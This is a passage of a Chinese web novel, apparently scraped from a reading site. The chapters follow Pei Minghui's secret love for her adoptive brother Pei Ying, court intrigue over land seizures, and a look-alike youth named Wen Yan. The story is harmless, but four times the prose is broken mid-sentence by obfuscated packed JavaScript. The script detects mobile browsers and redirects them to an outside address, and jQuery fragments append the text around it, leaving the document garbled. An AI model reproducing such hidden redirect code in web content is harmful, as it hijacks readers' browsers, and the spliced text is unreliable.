d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363718|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了尚未落下的泪水,道,“今儿以后,姑娘就不再是孤身一人,大人与奴婢都会陪在姑娘身边的。” 明绘一双噙着泪的眸子看向春喜,遂含泪而笑,“你说得可是真的。” “奴婢万万不敢跟姑娘扯谎,若是扯谎,天打雷劈!” 明绘赶忙按住了她要发誓的手,笑容淡而悲,“何必发誓呢,我听着的。” 建元六年冬惊蛰日。 冬尽之后,便是立春,立春之后的第三个节气,乃是惊蛰。所谓惊蛰,就是春日雷声惊起冬眠于地下之百虫。 春雷乍动,阳气上升,春回大地,暖风骀荡。 一片连绵春雨,驱走所有寒冷,柳树抽芽,黄河解冻,各地的冬雪溶解,化作春水源源不断地汇入黄河,黄河遂涛涛东去。 尘封已久的裴家府宅再度开启,满布灰尘的裴家祠堂再度打开,沉重的木门吱呀一声打开,潮湿的水汽前扑后拥涌入祠堂,各处结着蛛网,或残破或完全,或有几只飞虫在其上,或生或死,或全或残。 仆从们将裴府整饬一番,原本被撤去的匾额又被重新挂了上去,嵌琉璃风灯悬挂在匾额两侧,流光溢彩极尽辉煌地照耀着裴家的门楣。 祠堂之上再设香案,今日裴家孤儿焚香告祖,后又携义妹,共同叩拜祖宗。 二人在蒲团上跪下,郑重再拜。 一拜告祖宗告天地,今日裴瑛与裴明绘皆为裴家儿女。 再一拜,裴瑛与裴明绘定然不辱没裴家门楣,定然将裴家重新发扬光大。 最后这一拜,明绘就彻底成了裴明绘,入了裴家的族谱。 “天地祖宗在上,我裴瑛今日起誓,此生此世定然护得妹妹无忧,若违此誓,当下黄泉地狱,永世不得解脱。” 当着极为严重的誓言一个一个砸进明绘耳中的时候,她惊得险些将手中的香都掉在了地上,香灰无声坠落在地,却也同时落在她心上,让她心中的情绪激烈涌动着,过速的心跳几乎让她无法呼吸。 “哥哥,何必发这种誓。”明绘忙用帕子掩住了裴瑛的嘴,眸子里满是疼惜,“人各有命,生死在天。哥哥是要做大事的人,怎么能因为……因为我,而发这种毒誓呢,还请哥哥收回方才的话,只当是胡话。” 裴瑛拿下她的手来,遂轻松一笑,不过才十六岁的年纪,他尚显稚嫩的脸庞,却透露着无形的锋芒,眸底是如同石刻般的长久与坚定。 显然他是要固执己见了。 “此生,我最亏欠的人便是你了。若不能再护住你,我又有何种颜面苟活于世呢。” 汉朝人相信阴阳天理,若发此毒誓,便是真心实意的了。 春雨被风吹斜,这细密冰凉的雨粉落在明绘的脸上。 她不知道,心中是什么感觉,但是一直以来的所有孤独,所有痛苦,瞬间烟消云散,朗朗晴光瞬间便照在了她的心里。 老天似乎不总是亏待于她的。 一切在此刻都明晰了。 她的泪水却不自觉地流了下来。 “哥哥的话,妹妹明白了。” 9. 第 9 章 后来皇帝紧急传来命,令裴瑛即刻还都。 裴瑛正要离开,却又被一声哥哥唤住了脚步。 裴明绘立在廊下,这一日雨水缠绵,天边阴云也是不断,如银丝一般细密的雨丝落下,多亏这檐下安着的竹篾卷帘,方才不让雨丝溅到她的身上。 “怎么了?”裴瑛的面上浮起温和的笑意来,纵然事情紧急,他却还是为她停下脚步。 裴明绘快步廊下走了下来,迎着细细的春雨,走到了裴瑛的身前,颠起脚尖,附在裴瑛耳边细细说来了几句话。 裴瑛的眼睛瞬间就亮了起来,唇畔勾起了狡黠的笑意,“我知道了。” 他的尾音里带着掩饰不住的上扬,看来有人要倒大霉了。 她一路目送着裴瑛上了车马,车马辚辚远去,最后消失在云烟雨雾里。 久病的太皇太后亲自临朝,听取朝臣的谏言,说御史大夫赵绾家族借限民名田一事大肆将强买强卖庶人土地,致使百姓流离失所,同时奉皇帝令前往各郡国限民名田的各方官吏却也在受贿贿赂,各郡国豪强借此堂而皇之开始大举兼并庶民土地,逼迫百姓签下密契,并威胁,若是敢报官,自是死路一条。 与此同时,皇帝派出各地监察辅助各郡国官吏限民名田的监御史却屡屡遇害,他立即便察觉到了有人在故意搞鬼。 当太皇太后命宦官将一箱箱的铁证拿了出来,里面都是各地田产的交易账册,长史将其中账册呈了上去,皇帝翻了几页,瞬间明白这是来自地方的力量在反抗来自朝廷的国策,如此大的能量,皇帝竟却一时想不出来是谁。 皇帝什么话也说不出来,可就在朝堂对峙陷入僵局之时,突然来自河东郡的快马打破了朝堂的僵局。 “宣侍御史裴瑛觐见——” 黄门尖细的声音如同一颗石子投进了平静的湖面,瞬间将隐匿在水面上暗涛汹涌都浮现出来。 裴瑛裹挟着长安的潮湿水汽与一路的仆仆风尘而来,长途跋涉的倦意似乎一点都没有让他疲劳,他的步履依旧那么矫健轻捷,玄色官袍,宽袖束腰,走起路来像一阵风一样,让那黑色的宽大广袖如鹰翼振翅而飞。 他的目光炯炯有光,而天翻地覆的变革行将拉开序幕。 “臣,侍御史裴瑛,启奏皇帝陛下,今河东许氏密谋鼓动各郡国官吏侵吞民田一案业已查清。” 以往温润的声音脱去了那柔和温顺的外皮,露出它凛冽的刀锋,一下子变震慑住了大殿之上的所有人,他们或错愕,或震惊,或欣喜,或畏惧地看着这个初登朝堂的年轻人。 “河东郡守许昌武,以郡守之职位,私下侵占民田三万一千二百七十顷,并以薄田不可耕之土地强换百姓之肥田,共计一万三千顷,同时,共五百八十七失田之农被迫成为佃户,同时,河东郡守许昌武暗中与各地豪强大族勾连,大肆侵吞百姓土地。因限民名田之策损害以许昌武为首的各郡国地方之利益,故许昌武暗中勾连各郡国豪强,暗中杀害监察御史,使限民名田成为合法夺百姓天地的乱国之策。” 话音落,大殿静得几乎落针可闻,每个人的呼吸都几乎听不见了。 可是裴瑛依旧没有停止。 “自先皇之时,诏令劝农民桑,故大汉人口与耕地日益增加,同时我大汉律法不禁田产买卖,已致叫各郡国大肆兼并土地,民无土地,不成流民,则为佃户奴婢。” “你你你!” 在文官班列里的许昌文登时站了出来,想要斥责这个不知天高地厚的裴瑛,但毕竟是在朝堂上,他便率先转过身来,向皇帝与太皇太后一躬身,强稳住心神,道,“臣,博士仆射,许昌文,启奏皇帝陛下,太皇太后,此子信口雌黄,意图扰乱我汉朝大怔,皇帝陛下与太皇太后圣明昭彰,万不要听信此子谗言。” 与此同时,不少跟许家有利益关涉的官员的额头都渗出了涔涔汗水,他们都预感到了压顶的灾难,而这灾难终将让他们粉身碎骨。 “铁证如山,罪证皇皇,请皇帝陛下,太皇太后圣断!” 裴瑛跪地叩首。 殿中原本的沉寂在无声无息变为一种凛然肃杀来。 皇帝淡淡地笑了起来,而后这笑意愈来愈浓,他并未理会朝臣,而是恭谨孝顺先询问太皇太后的意见。 “祖母,许家所为,竟是将祖母与孙儿玩弄于鼓掌之间。”他的笑容转为忧心忡忡,“孙儿方才亲政,便有人如此行事,若是祖母不在,孙儿不知该当如何了。” 太皇太后也动容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363719|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 她虽然反对皇帝的一些对策,但决然不会允许有人如此藐视皇权,如此践踏庙堂权威,甚至挑起她与皇帝的矛盾来为自己的利益转圜。 “今河东许氏,以一己之私,阻碍大政,延宕国策,特着御史大夫于廷尉二府下狱勘审,若一切属实,河东许氏,夷灭三族,相关人等,由御史大夫廷尉二府酌情定罪。” 苍老的声音如秋风过林,顿时举殿大见肃杀。 在御史大夫送来的奏疏送到皇帝御案上时,皇帝的目光迅速浏览完其上四百余人的秋决名单,而后朱色大笔毫不犹豫地写下“斩无赦”三个大字。 裴瑛侍立在一旁,恭谨地接过秋决名单,将其余要事一并汇报给皇帝。 年轻的皇帝对裴瑛大加赞叹,惊叹于他能过如此迅速就查清许氏的阴谋诡计,将一场潜在的危机即时扼杀,保证新政能够平稳铺排,由京城长安稳步向周边郡国实施。 如今清除了一大批暗中的敌对力量,未来各种国策的推进想必能更加顺利。 同时,皇帝将修订大汉刑律的重任交付到了裴瑛手中,裴瑛以无比恭谨的态度称赞皇帝的圣德,并表示自己决不会辜负陛下的期待。 等到所有事情处理完毕,春雨已经不在连绵,所有的寒冷也被带着热气的风吹散,消息地无影无踪了。 裴瑛自此亲自捧着御批的秋决名单,走过长长的司马道。 连绵的旗帜飒飒舒卷,春末夏初的阳光浮漾在未央宫辉煌巍峨的城阙之上,最后落在裴瑛的眉眼,照亮他含着笑意的眼眸,他最后看一眼蓬勃而升的红日,一笑之后,便也转身继续往前走。 * 思绪从往日的风云浪涌里渐渐回拢,裴明绘的唇角勾起一抹苦涩的笑。 聂妩看着他,垂下了眼眸,默默起身,走到三足错金博山炉旁,将苏合香的香饼放了进去,烟雾便从重叠雕刻奇禽怪兽的炉顶缭绕而出,而后缓缓逸散开来,缓缓飘到裴明绘的鼻尖。 若是当初自己不与他拜这个兄妹,何必又有今日的苦恼。 可是再退一步来说,就算他与自己不是这名义上的兄妹,怕是他也对自己无意。 如今皇帝有意为哥哥指婚,她能说皇帝多事吗? 10. 第 10 章 如今皇帝有意为哥哥指婚,她能说皇帝多事吗? 显然那是不能的。 “别伤心了。”聂妩膝行过来,扶住她的肩膀,看着这个看似温柔实则强悍的女子如此伤神,不由也跟着难过了起来,“此事还没准呢。” 裴明绘苦笑一声,手心依旧撑住额头,她的手很美,指骨纤细指尖圆润,白皙的肌肤像是玉笋之芽,不管是抚琴弄弦还是拨珠算账,皆美如画。 “哥哥已经不小了,早就该成婚了。”裴明绘咬唇,将所有的情绪压了下去,“偌大家业,却无子嗣,不白叫人笑话。此时也是我的缺失,哥哥忙于政务没得闲暇功夫,我却也像个傻子一样不张罗。” “姑娘怎说这话,姑娘年岁也不小了,我看公子也没有为姑娘寻觅良配的意思。”聂妩见她自怨自艾,忙安慰道。 聂妩知裴明绘在裴瑛的事上容易钻牛角尖,忙握了她的手来,殷殷劝道,“你与公子又非亲兄妹,又什么不可的,再说了,多少贵女都盼着和公子在一处,可是如今这都多少年了,公子却连一点流言都没传出来,可见公子没有婚配之意的。” “说一千道一万,公子在这世上最在乎的人,定然是姑娘你了。”聂妩道,“在公子心里,天底下又有哪个人,能跟姑娘你比了。” “你竟哄我高兴。”裴明绘面上虽好了些,心里却也是清楚的。 惊蛰之日,焚香告祖为兄妹,或许注定了二人,永远都只会是兄妹。 裴瑛待她极好,是天地下的最好之好,他如父如兄,教导她庇护她,纵然外头如何腥风血雨,他亦不让她沾染分毫。 这她都知道。 两个禹禹独行在世间的可怜人相互依偎着,他们虽非血亲,然却是至亲,谁都离不了谁。 裴瑛待她好,她也待裴瑛好。 可这好是不一样的,裴瑛对她,是如父如兄的关爱,是亲情。 她对裴瑛,有妹妹对兄长的依赖与敬畏,有着日久相伴与患难与共亲情,却也掺杂着不可与人言的私心私情,这纷繁的情感便如同一缕缕丝线交杂汇聚,成了一股绳,紧紧栓住了裴明绘的心。 叫她失魂落魄,叫她黯然神伤,叫她欣喜若狂,叫她不能自己。 可命中注定,只能是兄妹。 相思成线,穿愁贯恨,换得珠泪一串。 “姑娘。”聂妩低低唤她一声,虽然她劝明绘,但心底也是明白的,裴瑛其人,怎么可能对自己妹妹生出男女之爱,亦或者是,像裴瑛这般的人,哪怕是神妃仙子,也不会有半点凡尘俗念,何必如此无情,惹得佳人伤怀,“今日佳节,不妨去看看我为你备的礼物?” “礼物?” 裴明绘抬起头来,不动声色地将眼泪拭去。 “甚么礼物。” 聂妩一笑,挽着裴明绘的胳膊就将她拉了起来,笑吟吟地说道,“你去看看不就知道了。” 说罢,聂妩便将架子上的白狐狸斗篷拿了过来,仔细地披在裴明绘的身上,而后又将缀着着厚厚一圈狐毛滚边的兜帽给她戴好了,恰恰只露出涂着朱红色口脂的唇与尖尖的下巴,纤聂妩纤细的指尖导引着系带,打了个精巧的活结以后,便热络地携了裴明绘的手,一同出了门。 外面已经不下雪了,一轮上弦月冷冷地悬在洁净无瑕的深蓝色天空之上,路上是厚厚的积雪,踩上去几乎要没过脚踝。 两个姑娘并未带着仆从,二人一人提着一盏风灯便出了府,出了永兴街,往前走了二里路,便到了比较偏僻的城西,往右一拐便进了长兴坊,二人曲曲折折地往深处走,风灯光将二人的身影投映在两侧石墙之上。 “在这儿。” 聂妩停在一处院门前,院门乃是两扇用铜条箍住的沉重木门,从里头落了锁,聂妩举手叩门三响,很快里头便传来嘎吱嘎吱的踩雪声,而后便是当啷的开锁声音,不一会儿吱呀一声门就从里头来了开出条缝来,那条缝里探出一个青布包头的脑袋来,那人借着光一看来人,登时眼睛就亮了起来。 门很快被推开,一个一个中等身量的小厮,麻布衣裳眼眸细长,他大步走了出来,在两位面前立定,而后恭谨地一躬身,“小的见过两位当家。” “快进来。” 聂妩愉快地携了裴明绘一同上了石阶,迈了门槛,便进了院子。 院子里是三开间两进的房屋,院子中种着一棵老槐树上,粗壮的树枝上积了簇簇的雪,一阵风来,便是一堆堆的往下落。 小厮仔细地关了门,而后趋步跟了过来,殷勤地说道,“公子现在醒着呢,小的领二位当家进去。” “公子?”裴明绘顿时明白了,聂妩口中所说的礼物,怕不是是一个男人。 聂妩竟然会送她一个男人? 裴明绘不敢置信地看着聂妩,聂妩一偏头便对上裴明绘若有所思的目光,噗嗤一笑,“好姑娘,你可别这么看我,我可不敢什么人都塞给你。” “那你好端端带我去见一个男人。”裴明绘也不由笑了起来,轻轻一推她的肩膀,“这不是坏我清誉吗?” “对,我该打。”聂妩笑道,“左右来都来,见一见也无妨。” 小厮在前头领路,他进了屋檐之下,向里头通报道,“公子,我们当家的来看你了。” 随着话音,屋里头传来一声咳嗽声,而后吱呀一声门扉就打开了来,温柔的烛火如同流水一般漫延出来,柔情无比地勾勒出男子俊逸的身形,照亮了他俊雅无俦的容颜,一袭青色麻布长袍虽简朴无华,却有山容雨态之清旷淡远。 恰如烟雨,朦胧至深。 就在他修长的身形伴着各处光亮一同映入裴明绘眼帘的时候,她的心深深地震惊了。 凤眸长眉,唇畔浅笑,简直像极了裴瑛。 男子礼貌颔首,白皙优雅的面上含着适宜的浅笑,而后向着裴明绘缓步走了过去,又郑重地向裴明绘一躬身,温柔如细腻春雨的声音落在了她的心上,顿时激起万丈波澜。 “温晏见过裴小姐,多谢裴小姐收留之恩。” 裴明绘无措地看向聂妩。 聂妩见裴明绘一脸迷茫,遂笑道,“温公子虽是我救下的,但姑娘乃是我家主人,故姑娘才是温公子的救命恩人。” “快莫在外边冻着了,都进屋去罢。” 聂妩说罢,一手揽着裴明绘,一手推着温晏,便将他们送进了屋,又嘱托小厮备上热茶,而后便将冷雪寒气都关在了门外。 屋子分外里间和外间,中间用一道大黑木屏风隔挡,外间里乃是乃是三张长案,并着一些盆景添以青绿颜色,四处都有书架,书架之上堆着层叠如山的书简。 聂妩扶了裴明绘上坐,而后在她一旁坐了下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363720|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >裴明绘抬手压住那颗怦怦乱跳的心脏,抬眸看向那优雅落座的男子,他看起来不过才十八九岁岁,眉宇间的青涩还没有褪下去。 “年纪要小我很多啊。” 裴明绘蹙眉,掩袖对聂妩说道。 聂妩遂凑到小声道,“姑娘与温公子正相宜呢,姑娘若与公子有意,这几岁之差,又算得什么呢。” 裴明绘的眸光又婉转地落在了温晏身上,温婉一笑,“公子何方人士,怎的就到这儿来了。” 温晏无奈一笑,低下头来,叹息一声。 后聂妩解释道,这位温晏公子原是昏倒在裴家桑园里的,被例行巡视的人发现,方才被救了下来,而后通报给了主管桑园之事的聂妩,聂妩一看,竟与裴瑛的样子十分相像,便将他留了下来,后请了医师来看,却发现这位公子脑子受了伤,怕是记忆有损,后来聂妩找到了他的照身帖,便知道他名叫温晏,乃是颍川阳翟之人。 聂妩一见温晏与裴瑛样子十分相像,若是不细看,影影绰绰间便几乎是同一个人,虽然眉目间没有裴瑛的独一无二的神韵,也没有裴瑛久居高位的那种不怒自威,但是仅仅有裴瑛几分形似,也一定能够慰藉她那因为裴瑛而久久不能安定的心罢。 “给小姐添麻烦了。”他歉疚一笑。 “怎么会呢。” 裴明绘看着温晏那如此形似裴瑛的脸,不由深深地沉沦痴迷起来,或许只有在裴瑛不在的时候,她方能毫无顾虑地流露出自己的情感。 可是,温晏在如何相像,可终究不能解她相思意。 裴明绘收起所有情绪,垂首一笑,站起身来,而后又抬起头来,黑色的眼睛里的光彩沉寂下来,恢复了以往的冷静。 “深夜叨扰,温公子莫要介怀。” 温晏面上的表情依旧温和,遂起身相送,“若不得小姐庇护,在下早就窆枯掩骼,哪里又会有今日呢。小姐深夜来访,在下欣喜尚且来不及,又如何会介怀呢。” 裴明绘与聂妩相识会心一笑,聂妩遂道,“公子体弱,明日我再遣人来为公子送些人参之类的补品,公子且在此安心住下,改日我再同姑娘来看公子。” 二人一道出了门,裴明绘拉住聂妩的手,有些忧虑地说道,“我总觉得,如此明目张胆寻一位与我哥哥如此相像的人,总觉得不好。” “哪里不好,左右公子日理万机,哪里发现得了。” 聂妩信誓旦旦地说道。 裴明绘心里一琢磨,好像也是这么回事,但是转念又是一想,却总是怪怪的,“可他与我哥哥如此相像,我若是嫁他,哥哥怕是就知道我的心思了。” “我的好姑娘。”聂妩无奈地一声喟叹,“你何必嫁他呢,如今姑娘之产业遍布大汉,又得皇帝赏识,为天下大商之表率,何必执拗于婚姻嫁娶,权将这孤苦伶仃的公子养在外头,不叫旁人知道不就好了。” 裴明绘就这么一想,似乎还真有些道理在,遂亲切地挽了聂妩的手来,“好妹妹,你可真是我的解语花。” “姑娘哪里的话。”聂妩哈哈一笑,“姑娘整日闷闷不乐,便是不知这男女情爱的好处所在,在下不才,便是这红尘秾艳场里的高手,便知这一味药,才是姑娘的解药。” 二人一路嬉笑地走回了裴府,其间却谁都没有想起来,裴家家规第一百零一条所严格规定的是什么。 11. 第 11 章 原本从年节之后,聂妩几次相叫裴明绘区城西的小院里会一会那位公子,却屡次都被裴明绘婉拒了。 “我可没那胆子。”裴明绘将手头的账务理清,而后长安城明月坊的执事来了,送来去岁来账本,以及一册羊皮纸做的册子。 “我虽有那做贼的心,却没那做贼的胆。我哥哥前几日来了信,说他最近又有急务需要处理,说要我自己保重。” 聂妩走过来同裴明绘一同核对账册,裴明绘便也腾出手来,将那册子迅速浏览了一遍。 “你看……” 纤纤玉手往那册子上一点,聂妩便也探过头来。 这册子上所记得都是长安城各处高官高爵之府所专一订购的丝绢布匹,爵位官职越高,上面所记载的偏好也就更加详细。 “丹阳长公主府月极品丝绢一百二十匹,上等丝绢二百二十匹,我们明月坊半数的极品丝绢都进了丹阳长公主府了。” “丹阳长公主是皇帝的亲姐姐,几匹丝绢又算得了什么。” 聂妩不以为意,遂又开始算手头的账务。 “但你从这账上就可以看出来,最近谁得势,谁不得势的。”裴明绘将案上各类册子都整好了,装进特制的布袋里,系上木牌,放在书架之上,“我最近打算去长安,最近听闻张骞又要出使西域,出使西域往往需要携带汉朝珍贵的宝物,各色绫罗绸缎自然是少不了。” “你难道……” 聂妩的眼珠顿时亮了起来。 “我看这账册之上,丹阳长公主颇好亮丽绫罗,更加偏爱那光暗下就显现出来的暗纹。”裴明绘捧着小册子缓缓再屋子里头踱步,“又听说最近陛下为长公主专门在南山起了一座梅园,如此这般,便是为长公主做的独一无二的梅花缂丝,在用将这梅花缂丝与大雪之日开得最好的梅花埋在一处,等它浸透了雪中梅香,在这么一熨,就香味就留下来了。” “哪里这么麻烦。”聂妩笑道,“只有梅花香薰一下不就成了。” “那不一样。”裴明绘坐到聂妩边上,“给丹阳长公主送这礼物,是敲开我们去往西域的们,自然要尽善尽美了。” 聂妩又看了一样,那探究的眼神顿时叫裴明绘低下了头。 “好罢。”她沮丧地扶住聂妩的肩膀,“我是想去丹阳长公主府上问问,若是真的,我也好有个准备。” 聂妩叹息一声,而后拉住了裴明绘的手,郑重其事地看着裴明绘。 “你为什么不直接问公子呢?”她柔声说道,“他可是你哥哥。” 裴明绘愣了一会儿,整个人就枯萎下来,她小声说道,“我知道。” “但如果他亲口告诉我他要成亲了,我将有一个嫂嫂了,我不再是他最在乎的人。”裴明绘无助地捂住脸,“我不知道我能不能忍住。你知道,如果他告诉我,我应该为他高兴的,我那时候应该笑,而不是不合时宜地流下眼泪。他那么聪明,我若说喜极而泣,他自然也是不信的。” 聂妩默默地将裴明绘搂在怀里,轻轻拍着她的肩膀。 虽说聂妩爱做媒人,但她也没有胆子去做裴瑛的媒,何况还是做他与他妹妹的媒。 聂妩是裴明绘一手提拔起来的,也与裴瑛有过接触,裴瑛其人,别看他平日总是笑吟吟的,但是他若发起狠来,那真是无声无息就要人的命的。 “好了姑娘,我们这还不是有一个温公子吗,你或许就可以把他当成公子,聊解相思意。” 裴明绘轻轻地摇了摇头,淡淡一笑,“可这对温公子来说,这并不公平,他或许并不想这样。” 聂妩无奈却又心疼地看了一眼这个被世俗伦常困扰着的女子,叹了口气,道,“不问一问,怎么知道温公子不愿意呢?” “好人家的公子,谁平白做人家外室。”裴明绘淡淡说道,“再说了,我有心,人家终是无意。就算他与我哥哥长得一模一样,却也不是我哥哥。” “我决定了,我哥哥若我真的要尚公主,那我便去拜会那位公主,绝不让裴家姑嫂不合。”裴明绘的眼里分明有着泪,可是目光却是那样坚定,“如今我哥哥虽然位极人臣,可底下的人不知道想要跟哥哥作对。有道是,水满则溢盛极而衰,若是真的尚公主,何尝不是一份保障呢?我这个做妹妹不能帮衬上哥哥,总也不能给哥哥添乱。” 话里这么说,只是裴明绘心里头知道,除非裴瑛疯了,否则他怎么可能对自己的妹妹又男女之情呢。 一切的不能言说的痛苦,又何尝不是自己自找苦吃呢…… 十月十五日,河东郡安邑郡。 这时一个阳光明媚的早晨,东市主街两侧皆是连绵板棚,各处巷子也是店铺林立,各处皆是人头攒动摩肩接踵,中有背着货箱叫卖的小贩穿行其间。料峭的寒风穿梭而过,吹得各处揽客的幌子随风摇荡,几乎要连在一处。 裴明绘和聂妩并着明月坊的执事来东市,先是看了各处麻布丝绢的交易情形,并备细问了各宗商品的交易情形,尤其是粮食之价。 “如今每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363721|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石粟米一百六十钱左右,较之往常涨了不少。”裴明绘的目光放在在米箱之上,拿起一旁的米铲来铲起些许来,问道,“看起来这粟米也不像新米,倒像是积压的。” 一旁的官市丞忙道,“自十年前黄河决口之后,梁地和楚地便年年遭灾,其余地方也或多或少有些灾,今年的收成也实在不好啊。” 裴明绘将铲子放下,沉吟道,“粮价日日高走,饥馑旦暮将至。” “小姐何必忧心,如今皇帝陛下下令平抑粮价,想必不日粮价就会跌下去的。”官市丞坦然道,“粮价起落,乃是常事,不足为虑。” 裴明绘数十年经商,怎会不明白其间道理,如今与匈奴决战在即,各郡国仓廪要尽力支持北方对匈奴战事,国内粮价却又因种种缘由而有节节攀升之势,这怎么看都不是好势头。 待裴明绘与众执事们将东市各宗商品查探清空,便叫他们都回去处理坊中事物了。 裴明绘与聂妩往前走,目光扫过各摊位上林林总总形形色色的商品,沉声道,“十年前黄河两次决口,自此入淮河,淹十六郡,皇帝发十万之众堵塞,无功。武安侯陆珩舟之食邑于黄河北岸,因黄河决堤改道而屋水患之危,故武安侯便以天意之说,加之望气用数者上书,故此封堵黄河决口之事也就延宕了,这一延宕,便是十年了,其间黄河泛滥之地收成几无,因此流民激增,而因此粮价也是年年往上涨。” “那又能如何,武安侯位高权重,又是皇帝的舅舅,太后又格外提拔他,他自然想如何就如何了。” 聂妩虽然义愤填膺,却也无可奈何,她一介商贾,纵有万金,又能如何。 “他又能有几年好日子。”裴明绘淡淡一笑,“等他一死,万事大吉。” “看来公子要查武安侯了?” 聂妩一听,不由高兴起来,凑在裴明绘耳旁说道。 他们二人往前走着些,便在一处售卖兽类皮毛的摊子前停下,很快,裴明绘的目光便被毯子上的狐狸皮吸引住了。 摊主一看来人是两位衣着不凡,登时就搓了搓手站了起来,热情的介绍起来裴明绘看上的那几张白狐狸皮。 细腻圆润的指尖抚过毛发松软颜色洁白若雪的狐狸皮,裴明绘登时就喜欢地不得了。 “哥哥近几年都不怎么穿浅色的衣裳了,我看啊……” “快看!” 裴明绘正说着,就被聂妩一拍肩膀,她转而顺着聂妩的目光看去,就见一青色布袍带着幕篱的翩翩公子。 12. 第 12 章 “快看!” 裴明绘正说着,就被聂妩一拍肩膀,她转而顺着聂妩的目光看去,就见一青色布袍带着幕篱的翩翩公子。 裴明绘怔住了,冷风吹过起她的鬓发,黑色眸子的光彩凝滞住了。 公子缓缓走过了过来,而后略显苍白的手腕缓缓拂起了白色的帷幕,露出那张让裴明绘神魂颠倒的面容,他向着二位颔首致意,而后又缓缓放下帷幕,重新遮住了这张脸。 裴明绘低低一笑,而后抬起头来,略有些疑惑地看向温晏,“天寒风冷,公子怎么出来了。” 冷风拂动白纱围成的幕篱,像是涌动的白色波澜,而那温润动听的声音也从里头传了出来,“我的病已大体好了,总是圈在屋子里,怕是要闷出病来了。” 温晏与裴瑛的声音并不相同,温晏的声音更加温柔似水,可是虽然温柔,但在裴明绘耳中却隐隐有种粉饰自己真实意图的感觉,如今幕篱挡了他的脸,温晏对她的吸引力也就降了一大截,所以她略微察觉出一些诡异之处来。 “对了。”裴明绘见正好碰上了温晏来,便拿起那张狐狸皮,一只手拂开他的幕篱,将狐狸皮搭在他的身上,仔细地比对着,然后发现这狐狸皮的白,竟格外衬他的容颜。 黑色的看似毫无机谋的眸子倒映着女子认真为他搭狐狸皮的样子,温晏的身子僵了僵,嘴角的笑容也凝固了片刻,可是转瞬间就笑意就更加温柔,他垂下眼眸来,静静地看着裴明绘,看着她近在咫尺的如同盛放着的水仙花一般皎白纯净的容颜,忍不住多看了她几眼。 “真好看。” 她看着他,笑了起来,因着这一点璀璨的笑意,漆黑的光彩熠熠有光,好似丹蕊初葩,一点绛唇之下是银雪贝齿,便是移星流云。 由衷而由直白的夸赞,竟叫温晏平白怔住了。 好看么…… 他别开脸,面上的表情有些紧绷,而后优雅的薄唇抿起,似乎想说什么,最后什么都没有说,只是喉结滑动了一下。 但是她好像并没有注意到温晏这些细微的动作,选定这狐狸皮,就将他的幕篱放了下来。 温晏的目光透过朦胧迷离的白纱,看着裴明绘正欢喜地同聂妩商量着,而后将白狐狸皮收了起来。 “公子今日一出来,便碰见了我家姑娘。”聂妩欢欢喜喜地凑了上来,显然她是有意为裴明绘与温晏牵线了,“可是有缘。” “咳。” 温晏似乎是个极易害羞的人,面对聂妩如此明目张胆的牵线,只能先轻咳一声,修长苍白的手指虚虚拢城拳头,抵在嘴边。 “裴小姐清誉要紧,聂姑娘慎而言之。” 看温晏如此反应,聂妩顿时喜笑颜开,拉住正在付钱的裴明绘,“姑娘,温公子关心你呢。” 裴明绘尚在脑中描绘裴瑛一袭白色狐裘的文雅风姿,冷不丁被聂妩一拉,却还没有缓过神来,“啊……多谢温公子关心。” 聂妩不由扶额,这两个人,一个温柔内敛得过了头,一个非为君也心不在焉,纵然有她这个媒人,却也是拉不动。 多有富商的精巧的车马与运货的牛车在大街之上粼粼驶过,形形色色的来往行人的目光不住地往此处偏移。 聂妩不断地眨眼睛来鼓励裴明绘,裴明绘抿了抿唇,似乎想说一些拉进距离的话,可是话从心底冒出,却只囫囵在嘴边。 似乎是看出了裴明绘的踟蹰,幕篱传出一声轻笑,像是冬日里的一缕春风:“起风了,我先回去了。” 孟冬日的冷风呼呼地吹,似乎应正了温晏的话,风吹得他的幕篱纷飞,发出飒飒的声响。在裴明绘这里,冬日明净无云的蓝天映着他颀长优雅的身形,两侧川流不息的行人的身影在逐渐模糊,他的身影却愈加清晰。 或许,或许,她能够借他拜托自己心中无妄的痴念,不再为难自己,不再在心中纠缠着自己所深深在意的人。 那是放弃,也是解脱。 她长长地叹了一口气。 她携了聂妩一并走了,淹没在交相往来的人流里,很快就消失不见。 